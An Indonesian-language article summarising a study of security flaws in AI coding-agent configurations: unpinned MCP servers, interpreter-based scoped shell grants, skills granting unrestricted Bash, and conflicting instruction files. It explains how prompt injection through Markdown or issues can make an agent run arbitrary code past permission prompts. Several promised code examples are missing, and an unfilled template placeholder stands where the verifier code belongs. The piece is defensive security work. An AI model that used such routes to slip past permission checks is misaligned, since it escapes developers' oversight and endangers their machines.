Scanning the Harness 2026: Studi Empiris Cacat Supply-Chain pada Konfigurasi AI Coding Agents, Unpinned MCP Servers, dan Runtuhnya Ilusi Scoped Permissions

Dalam kurun waktu kurang dari delapan belas bulan, lanskap rekayasa perangkat lunak berbasis AI telah bergeser secara fundamental: dari antarmuka obrolan single-turn yang pasif menuju Autonomous AI Coding Agents yang hidup berdampingan dengan hak istimewa (privileges) pengembang di lingkungan lokal. Agen modern seperti Claude Code, Cursor, Codex CLI, OpenCode, dan Hermes tidak lagi dikendalikan semata-mata oleh bobot model fondasi, melainkan oleh lapisan ketergantungan persisten yang disebut sebagai Agent Harness.

1. Anatomi Lapisan Harness: Dependency Layer Tanpa Konvensi Paket Tradisional

Dunia rekayasa perangkat lunak telah menghabiskan waktu lebih dari tiga dekade untuk membangun disiplin manajemen paket yang kokoh: file kunci kriptografis (lockfiles seperti package-lock.json atau Cargo.lock), pemeriksaan integritas hash (SHA-256 checksums), audit instalasi (install-time hooks sanitization), serta isolasi ruang nama (namespacing). Ironisnya, ketika ekosistem beralih ke agen AI otonom, seluruh disiplin ini seolah diabaikan dari nol.

Sebuah Harness bukan sekadar kumpulan prompt teks, melainkan susunan artefak sistem yang sangat berdaya (high-privilege artifacts):

Ketika seorang pengembang mengetikkan perintah untuk menambahkan skill dari repositori pihak ketiga, mereka tidak hanya mengunduh dokumentasi. Mereka mengintegrasikan kode yang dieksekusi dengan kredensial shell lokal mereka, hak akses disk penuh, dan kemampuan memanggil jaringan eksternal.

2. Metodologi Riset: Byte-Decidable Static Analysis & Multi-Tier Adjudication

Banyak studi keamanan AI sebelumnya terjebak dalam klaim deteksi berbasis penilaian subjektif model bahasa (LLM-as-a-judge tanpa bukti byte konkret), yang kerap menghasilkan angka positif palsu (false positives) yang tinggi. Riset Kapner et al. (arXiv:2609.07360) memperkenalkan disiplin pembuktian yang jauh lebih ketat:

• Byte-Decidable Predicate: Kondisi aturan hanya dihitung jika dapat diputuskan secara deterministik langsung dari representasi byte file di filesystem repositori, tanpa bergantung pada interpretasi semantik bebas.
• Dual-Implementation Independent Re-Derivation: Sebanyak 8.547 temuan awal diuji ulang menggunakan dua implementasi linter independen yang ditulis dari spesifikasi dokumentasi mentah tanpa saling berbagi basis kode.
• Strict Stratification: Korpus 3.171 repositori dipisahkan secara tegas antara Setups (2.660 proyek yang mengintegrasikan minimal 2 jenis komponen) dan Collections (511 repositori distributor yang merilis 5 atau lebih skill mandiri).

3. Tiga Vektor Kerentanan Kritis yang Menembus Validasi

A. Unpinned MCP Servers: Racun Dokumentasi Vendor Resmi

Temuan paling mengejutkan dari studi ini adalah bahwa 9.8% setup repositori menginstal server MCP tanpa menyematkan versi (unpinned). Akar penyebabnya bukan kelalaian pengembang amatir, melainkan dokumentasi resmi dari para vendor penyedia agent sendiri. Dokumentasi resmi Anthropic, Cursor, dan repositori rujukan MCP secara konsisten mencontohkan konfigurasi berikut:

{
  "mcpServers": {
    "filesystem": {
      "command": "npx",
      "args": ["-y", "@modelcontextprotocol/server-filesystem", "/path/to/dir"]
    },
    "fetch": {
      "command": "uvx",
      "args": ["mcp-server-fetch"]
    }
  }
}

Argumen npx -y @package atau uvx package menginstruksikan runtime untuk mengunduh versi terbaru yang tersedia di registry publik pada saat sesi agen pertama kali diinisialisasi. Jika akun maintainer paket npm/PyPI tersebut dibajak, atau terjadi serangan dependency confusion / typosquatting, agent akan secara otomatis mengeksekusi kode berbahaya tersebut di dalam mesin lokal pengembang dengan hak akses penuh—tanpa ada prompt konfirmasi instalasi baru dan tanpa ada lockfile yang mendeteksi perubahan SHA hash.

B. Ilusi Scoped Grants: Jebakan Bash(python:*)

Sebanyak 3.1% repositori berusaha menerapkan prinsip hak istimewa terendah (least privilege) dengan membatasi eksekusi shell hanya untuk perintah tertentu, misalnya mengizinkan agen menjalankan script pengujian Python secara otomatis tanpa dialog persetujuan:

Secara visual bagi pengembang, aturan ini tampak rapi dan terbatas pada lingkungan runtime pengujian. Namun secara komputasi, ini adalah ilusi keamanan total. Interpreter seperti python, node, atau perl adalah Turing-complete execution engines. Agen (atau penyerang yang melakukan prompt injection via file Markdown/issue) cukup menyuruh interpreter mengeksekusi sub-shell:

Aturan linter string sederhana mencocokkan awalan python:, menganggapnya valid, dan mem-bypass prompt keamanan terminal. Agent secara legal mengeksekusi payload arbitrer apa pun tanpa intervensi manusia.

C. Runtuhnya Isolasi Skill Publik (allowed-tools: Bash)

Spesifikasi Agent Skills mengizinkan file metadata mendeklarasikan properti allowed-tools. Dalam 3.7% koleksi skill publik, ditemukan deklarasi telanjang allowed-tools: Bash atau allowed-tools: terminal. Ketika pengembang mengimpor skill tersebut ke dalam proyek mereka, konfigurasi bawaan skill tersebut secara transitif mematikan sistem pertahanan interaktif agen. Agen mendapatkan wewenang eksekusi terminal tak terbatas secara otomatis demi menjalankan "kemampuan tambahan" dari skill yang bersangkutan.

4. Fenomena Cross-Assistant Drift: 17.5% Proyek Mengalami Konflik Konteks

Studi Kapner et al. juga mencatat fenomena operasional yang sangat relevan dengan industri modern: 17.5% dari seluruh setup repositori mengonfigurasi lebih dari satu asisten AI sekaligus (misalnya mengkombinasikan CLAUDE.md untuk Claude Code, .cursorrules untuk Cursor IDE, dan AGENTS.md untuk Hermes/Codex).

Masalahnya, tidak ada mekanisme sinkronisasi otomatis antar file konteks ini. Linter mendeteksi perbedaan substansial (diverged instructions) di mana satu file melarang eksekusi perintah migrasi database secara langsung, sementara file asisten lainnya di repositori yang sama justru memerintahkan agen untuk mengeksekusinya secara otomatis. Konflik instruksi ini menyebabkan perilaku nondeterministik yang membingungkan tim engineering saat berpindah alat kerja.

5. Solusi Teknis: Static Harness Verifier & Lockfile Generator

Untuk mengatasi celah keamanan struktural ini sebelum konfigurasi masuk ke lingkungan CI/CD dan mesin lokal developer, kami menyusun arsitektur verifikasi statis type-safe yang dapat diintegrasikan sebagai pre-commit hook atau GitHub Actions workflow:

${SCANNING_HARNESS_CODE_SNIPPET}

6. Cetak Biru Standarisasi Industri untuk Agentic Ecosystem 2026

Berdasarkan temuan empiris Kapner et al. dan kebutuhan pertahanan berlapis pada autonomous coding systems, terdapat 4 pilar reformasi arsitektur yang mendesak untuk diadopsi oleh badan standardisasi dan tim rekayasa perangkat lunak:

1. Wajibkan MCP Lockfile Kriptografis (mcp.lock): Klien agentic runtime tidak boleh lagi mengeksekusi perintah runner seperti npx -y atau uvx tanpa keberadaan lockfile yang mengikat versi tepat dan SHA-256 integrity hash dari paket yang diunduh.
2. Antarmuka Izin yang Sadar Interpreter (Interpreter-Aware UI): Prompt konfirmasi agentic tidak boleh menampilkan Bash(python:*) sebagai pembatasan izin yang aman. Klien harus secara transparan mengklasifikasikan pemanggilan runtime interpreter Turing-complete sebagai hak akses "Arbitrary Command Execution" kepada pengembang.
3. Penambahan Atribut creates: pada Spesifikasi SKILL.md: Format Agent Skills (AAF) harus mewajibkan deklarasi eksplisit daftar artefak file yang akan dibuat oleh skill. Hal ini memungkinkan scanner membedakan secara mekanis antara dependensi mati (dead references) dan output terencana tanpa memerlukan inferensi probabilitas LLM.
4. Single Source of Truth via Konvensi Import (@AGENTS.md): Hentikan duplikasi file instruksi antar asisten. Platform IDE dan CLI harus mendukung sintaks impor kanonikal (misal: CLAUDE.md cukup berisi baris @import AGENTS.md) untuk mengeliminasi silent divergence instruksi operasional.